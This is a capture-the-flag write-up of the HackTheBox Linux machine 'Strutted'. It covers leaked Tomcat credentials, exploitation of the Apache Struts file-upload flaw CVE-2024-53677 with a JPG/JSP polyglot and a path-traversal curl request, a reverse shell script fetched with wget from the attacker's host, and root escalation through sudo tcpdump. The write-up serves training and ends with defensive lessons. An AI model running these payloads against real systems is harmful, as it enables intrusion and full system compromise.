HackTheBox - Strutted [Linux]

“Strutted” is a medium-difficulty Linux machine on HackTheBox that centers on the exploitation of a web application. The initial foothold is gained by exploring an unusual feature of the web server: a downloadable archive of the application’s source code. This archive serves as a crucial piece of intelligence, containing leaked credentials and revealing the use of a vulnerable Apache Struts framework.

The path to a user shell involves exploiting a known file upload vulnerability within the Struts framework, which allows a malicious web shell to be executed on the server. From the initial tomcat user shell, a second set of exposed credentials provides access to the james user account. The final stage of the challenge is a classic privilege escalation scenario, leveraging a misconfigured sudo permission that allows a binary to be run with root privileges, leading to a complete system compromise.

Challenge Overview #

CTF Name:                 Strutted
Category:                 Machine - Linux
Active/Retired (at pwn):  Retired
Difficulty:               Medium
Author:                   TheCyberGeek & 7u9y
Date Released:            23 Jan 2025
Date Completed:           15 Aug 2025
CTF Link:                 https://app.hackthebox.com/machines/Strutted

Own #

Network Enumeration with Nmap #

rlcthd@local:~$ nmap -sV -sC --open 10.10.11.59  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 13:51 EEST  
Nmap scan report for 10.10.11.59  
Host is up (0.049s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol  
2.0)  
| ssh-hostkey:    
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)  
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)  
80/tcp open  http    nginx 1.18.0 (Ubuntu)  
|_http-title: Did not follow redirect to http://strutted.htb/  
|_http-server-header: nginx/1.18.0 (Ubuntu)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports are open, 22 ssh and 80 http.

Web Server #

We can use cURL to retrieve server header information from the command line:

rlcthd@local:~$ curl -iL 10.10.11.59  
HTTP/1.1 302 Moved Temporarily  
Server: nginx/1.18.0 (Ubuntu)  
Date: Fri, 15 Aug 2025 10:57:04 GMT  
Content-Type: text/html  
Content-Length: 154  
Connection: keep-alive  
Location: http://strutted.htb/  
  
curl: (6) Could not resolve host: strutted.htb

We should map strutted.htb domain to the server’s ip, because we get a 302 status code, also known as “Found” or previously “Moved Temporarily”. It indicates that the requested resource has been temporarily moved to a different URL (http://strutted.htb).

rlcthd@local:~$ echo "10.10.11.59  strutted.htb" | sudo tee -a /etc/hosts

Now we can access the website, which is file upload service:

<!DOCTYPE html>  
<html lang="en">  
<head>  
   <title>Strutted™ - Instant Image Uploads</title>
---snip---

On the front page:

Interested in our setup? We provide a Docker image that showcases the Strutted™ environment. Click the Download link on the menu to explore our Docker image to see how our platform is configured, and use it as a base template for your own projects.

This might be extremely useful, because it could contain the exact server side code, configurations, and library versions the upload feature uses. This allows us to test payloads locally, discover bypasses for file types, identify vulnerable components (e.g., outdated image processors), and maybe extract hardcoded credentials in the environment that could be reused against the live target.

Server Side info #

After clicking Download (http://strutted.htb/download.action), a strutted.zip of ~38M is downloaded:

rlcthd@local:~$ tree
.  
├── context.xml  
├── Dockerfile  
├── README.md  
├── strutted  
│   ├── mvnw  
│   ├── mvnw.cmd  
│   ├── pom.xml  
│   ├── src  
│   │   └── main  
│   │       ├── java  
│   │       │   └── org  
│   │       │       └── strutted  
│   │       │           └── htb  
│   │       │               ├── AboutAction.java  
│   │       │               ├── DatabaseUtil.java  
│   │       │               ├── HowAction.java  
│   │       │               ├── Upload.java  
│   │       │               ├── URLMapping.java  
│   │       │               └── URLUtil.java  
│   │       ├── resources  
│   │       │   └── struts.xml  
│   │       └── webapp  
│   │           └── WEB-INF  
│   │               ├── about.jsp  
│   │               ├── error.jsp  
│   │               ├── how.jsp  
│   │               ├── showImage.jsp  
│   │               ├── success.jsp  
│   │               ├── upload.jsp  
│   │               └── web.xml  
│   └── target  
│       ├── classes  
│       │   ├── org  
│       │   │   └── strutted  
│       │   │       └── htb  
│       │   │           ├── AboutAction.class  
│       │   │           ├── DatabaseUtil.class  
│       │   │           ├── HowAction.class  
│       │   │           ├── Upload.class  
│       │   │           ├── URLMapping.class  
│       │   │           └── URLUtil.class  
│       │   └── struts.xml  
│       ├── generated-sources  
│       │   └── annotations  
│       ├── maven-archiver  
│       │   └── pom.properties  
│       ├── maven-status  
│       │   └── maven-compiler-plugin  
│       │       └── compile  
│       │           └── default-compile  
│       │               ├── createdFiles.lst  
│       │               └── inputFiles.lst  
│       ├── strutted-1.0.0  
│       │   ├── META-INF  
│       │   └── WEB-INF  
│       │       ├── about.jsp  
│       │       ├── classes  
│       │       │   ├── org  
│       │       │   │   └── strutted  
│       │       │   │       └── htb  
│       │       │   │           ├── AboutAction.class  
│       │       │   │           ├── DatabaseUtil.class  
│       │       │   │           ├── HowAction.class  
│       │       │   │           ├── Upload.class  
│       │       │   │           ├── URLMapping.class  
│       │       │   │           └── URLUtil.class  
│       │       │   └── struts.xml  
│       │       ├── error.jsp  
│       │       ├── how.jsp  
│       │       ├── lib  
│       │       │   ├── commons-fileupload-1.5.jar  
│       │       │   ├── commons-io-2.13.0.jar  
│       │       │   ├── commons-lang3-3.13.0.jar  
│       │       │   ├── commons-text-1.10.0.jar  
│       │       │   ├── freemarker-2.3.32.jar  
│       │       │   ├── javassist-3.29.0-GA.jar  
│       │       │   ├── javax.servlet-api-4.0.1.jar  
│       │       │   ├── log4j-api-2.20.0.jar  
│       │       │   ├── ognl-3.3.4.jar  
│       │       │   ├── sqlite-jdbc-3.47.1.0.jar  
│       │       │   └── struts2-core-6.3.0.1.jar  
│       │       ├── success.jsp  
│       │       ├── upload.jsp  
│       │       └── web.xml  
│       └── strutted-1.0.0.war  
├── strutted.zip  
└── tomcat-users.xml  
  
31 directories, 58 files

Starting with a recursive grep for common credential keywords (username, password, passwd, secret, token, key) is quick, low-effort, and often pays off. Developers frequently leave these in config files, scripts, .env files, or even test data inside the image:

rlcthd@local:~$ grep -r username  
tomcat-users.xml:    <user username="admin" password="skqKY6360z!Y" rol  
es="manager-gui,admin-gui"/>

Admin user: admin Admin pass: skqKY6360z!Y

Before we make use of the credentials, another useful and quick thing to do is have a clean list of various config files:

rlcthd@local:~$ find . -type f \( -name "*.env" -o -name "*.yml" -o -name "*.xml" -o -name "*.conf" -o -name "*.properties" \)
./tomcat-users.xml  
./strutted/target/classes/struts.xml  
./strutted/target/strutted-1.0.0/WEB-INF/classes/struts.xml  
./strutted/target/strutted-1.0.0/WEB-INF/web.xml  
./strutted/target/maven-archiver/pom.properties  
./strutted/pom.xml  
./strutted/src/main/resources/struts.xml  
./strutted/src/main/webapp/WEB-INF/web.xml  
./context.xml

From these configs: The application uses apache struts-2.5 version 6.3.0.1 Maximum size upload: 2097152b Allowed extensions: jpg, jpeg, png, gif

CVE-2024-53677 #

Apache Struts is an open-source framework for building enterprise-ready Java web applications. It aims to simplify the development, deployment, and maintenance of web applications.

Apache has announced a critical vulnerability affecting Apache Struts (CVE-2024-53677):

The flaw lies in Struts’ file upload mechanism; affected versions include Struts 2.0.0 through 2.3.37 (End-of-life), Struts 2.5.0 through 2.5.33, and Struts 6.0.0 through 6.3.0.2. Attackers can manipulate file upload parameters to enable path traversal, allowing them to place malicious files into otherwise restricted directories. Under certain conditions, this can lead to remote code execution, enabling unauthorized actors to run arbitrary code, exfiltrate sensitive data, or compromise entire systems. - source

When attempting to upload a simple image, we get a “Congratulations! Your image has been securely uploaded and is now accessible via a shareable link.” However, the copy shareable link button does not work. The link can easily be found in the inspector.

<img src="[uploads/20250815_113624/wp7203252-men-i-trust-wallpapers.jpg](view-source:http://strutted.htb/uploads/20250815_113624/wp7203252-men-i-trust-wallpapers.jpg)" alt="Uploaded File"/>

This site is served from ROOT in Tomcat, including /uploads/ inside it. baseUploadDirectory = /usr/local/tomcat/webapps/ROOT/uploads/

That’s inside Tomcat’s webapps/ROOT, which means uploaded files are web-accessible and, if executable, Tomcat will execute them.

After some reading about the vulnerability and Tomcat server, I concluded that Tomcat treats .jsp files as server-side code. So If I can smuggle a .jsp file into /uploads/, I can probably get RCE.

I will try this: https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461

After trying to upload totally_not_a_shell.jsp.jpg I get a The file does not appear to be a valid image error. That error strongly suggests the backend is not just checking the filename extension or MIME type, it’s actually verifying the uploaded file’s content by trying to parse it as an image.

So after some more reading, I pivoted to using a polyglot approach: a single file that is simultaneously a valid image (to pass the content check) and a JSP script (to allow code execution). The trick is that the server only sees the image portion when validating the upload, but Tomcat executes the JSP portion when accessed via HTTP.

Even with a polyglot, the normal upload path (upload) only saves it under its original name and in a “safe” directory. That’s why I added the top.UploadFileName=../../totally_not_a_shell.jsp parameter. By including ../../ in the filename, I could break out of the upload folder and place the JSP directly into a location under webapps/ROOT, making it web-accessible at the root.

RCE #

Create some jpg image:

rlcthd@local:~$ convert -size 1x1 xc:white minimal.jpg

On the website, open web inspector, go to network, upload any image and look for POST requests, copy as CURL:

curl 'http://strutted.htb/upload.action' \
  --compressed \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: multipart/form-data; boundary=----geckoformboundary3a14352db9039f8b4222c256737fb48e' \
  -H 'Origin: http://strutted.htb' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://strutted.htb/upload.action' \
  -H 'Cookie: JSESSIONID=7B9C61B40619ACFFE01B52FB4E82F223' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  --data-binary \
  $'------geckoformboundary3a14352db9039f8b4222c256737fb48e\r\nContent-Disposition: form-data; name="upload"; filename="minimal.jpg"\r\nContent-Type: image/jpeg\r\n\r\n------geckoformboundary3a14352db9039f8b4222c256737fb48e--\r\n'

Now we’ll need to change to add the jsp code. But also, using upload (lowercase) hits the normal Java method, which validates file type (Only image files can be uploaded!). Using Upload (uppercase U) is what the OGNL interceptor expects for the vulnerability to trigger. That’s why adding the second parameter and renaming it correctly is necessary. So it’s not just about having a file named .jsp, the parameter name controls whether the server runs the special OGNL logic that allows arbitrary placement of the file.

Create the jpg image with the appended code at the end.

cat minimal.jpg totally_not_a_shell.jsp > polyglot.jpg

Modify the CURL request:

curl 'http://strutted.htb/upload.action' \
  --compressed \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Origin: http://strutted.htb' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://strutted.htb/upload.action' \
  -H 'Cookie: JSESSIONID=7B9C61B40619ACFFE01B52FB4E82F223' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -F 'Upload=@polyglot.jpg;type=image/jpeg' \
  -F 'top.UploadFileName=../../totally_not_a_shell.jsp'

Reminder: Even with a polyglot, the normal upload path (upload) only saves it under its original name and in a “safe” directory. That’s why I added the top.UploadFileName=../../totally_not_a_shell.jsp parameter.

The shell will open at http://strutted.htb/totally_not_a_shell.jsp?cmd=id

Command: id  
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)

We can’t run a reverse shell script straight in the web shell because Runtime.getRuntime().exec() doesn’t handle interactive shells well. The bash -i >& /dev/tcp/... trick relies on a fully interactive terminal, which JSP/Java doesn’t provide.

Create a reverse shell script and host it on a local server:

rlcthd@local:~$ cat shshsh.sh  
bash -c 'bash -i >& /dev/tcp/10.10.14.62/1234 0>&1'

rlcthd@local:~$ sudo python3 -m http.server 80
10.10.11.59 - - [15/Aug/2025 16:35:16] "GET /shshsh.sh HTTP/1.1" 200 -

In the web shell:

wget http://10.10.14.62/shshsh.sh -O /tmp/shell.sh
bash /tmp/shell.sh

And on the nc listener:

nc -lvnp 1234
Connection received on 10.10.11.59 47714
tomcat@strutted:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

User Flag #

We observe that James is the Network Admin and has his own folder (the only one) in /home.

tomcat@strutted:~$ ls conf         

Catalina  
catalina.properties  
context.xml  
jaspic-providers.xml  
logging.properties  
policy.d  
server.xml  
tomcat-users.xml  
web.xml
tomcat@strutted:~$ cat conf/tomcat-users.xml  
---snip---
 <role rolename="manager-gui"/>  
 <role rolename="admin-gui"/>  
 <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
---snip---

We can try to ssh with this password. But first, upgrade the TTY:

tomcat@strutted:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'

After we run this command, we will hit ctrl+z to background our shell and get back on our local terminal, and input the following stty command:

tomcat@strutted:~$ ^Z

rlcthd@local $ stty raw -echo
rlcthd@local $ fg

[Enter]
[Enter]
tomcat@strutted:~$

SSH with James username:

tomcat@strutted:~$ ssh james@strutted.htb
---snip---
james@strutted:~$ cat user.txt    
2c8efb7b17da3660799bbe030d878827

And just like this we got the user flag: 2c8efb7b17da3660799bbe030d878827

Root Flag #

Now for the root flag:

james@strutted:~$ sudo -l    
Matching Defaults entries for james on localhost:  
   env_reset, mail_badpass,  
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/  
sbin\:/bin\:/snap/bin,  
   use_pty  
  
User james may run the following commands on localhost:  
   (ALL) NOPASSWD: /usr/sbin/tcpdump

James can run tcpdump as root.

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Create a script escalate.sh

COMMAND='cat /root/root.txt > root.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
james@strutted:~$ bash escalate.sh    
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length  
262144 bytes  
Maximum file limit reached: 1  
1 packet captured  
8 packets received by filter  
0 packets dropped by kernel  

james@strutted:~$ cat root.txt    
2a9bd51aeb9799b93d5a3cf9d4780761

This method can of course be used to spawn a root shell.

The root flag: 2a9bd51aeb9799b93d5a3cf9d4780761


FLAG #

User Flag: 2c8efb7b17da3660799bbe030d878827 Root Flag: 2a9bd51aeb9799b93d5a3cf9d4780761


Lessons Learnt #

  • The source code, provided as a download, contained credentials for the Tomcat manager. This highlights that any publicly exposed project files, even for a “template,” must be scrubbed of sensitive information before being released.

  • The application was running a version of Apache Struts (2.5.0 through 6.3.0.2) with a critical, known vulnerability (CVE-2024-53677). The system was not updated or patched in time, creating a window for exploitation.

  • With the use of a .jsp web shell, we could access a persistent backdoor. While not as stealthy as other methods, web shells are a common post-exploitation technique that can be detected through regular file integrity monitoring and by checking for unusual file extensions in web-accessible directories.

  • The james user was granted excessive permissions to run /usr/sbin/tcpdump as root without a password. This is a clear case of over-privileged access. Implementing the principle of least privilege and carefully auditing sudo permissions can prevent such straightforward privilege escalation.

  • The entire attack, could have been detected. The web shell’s execution and the subsequent network traffic (for example wget to download the reverse shell) should have triggered alerts in a security monitoring system.

Get Involved #

I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.

Stay Connected #

You can contact me at ion.miron@tutanota.com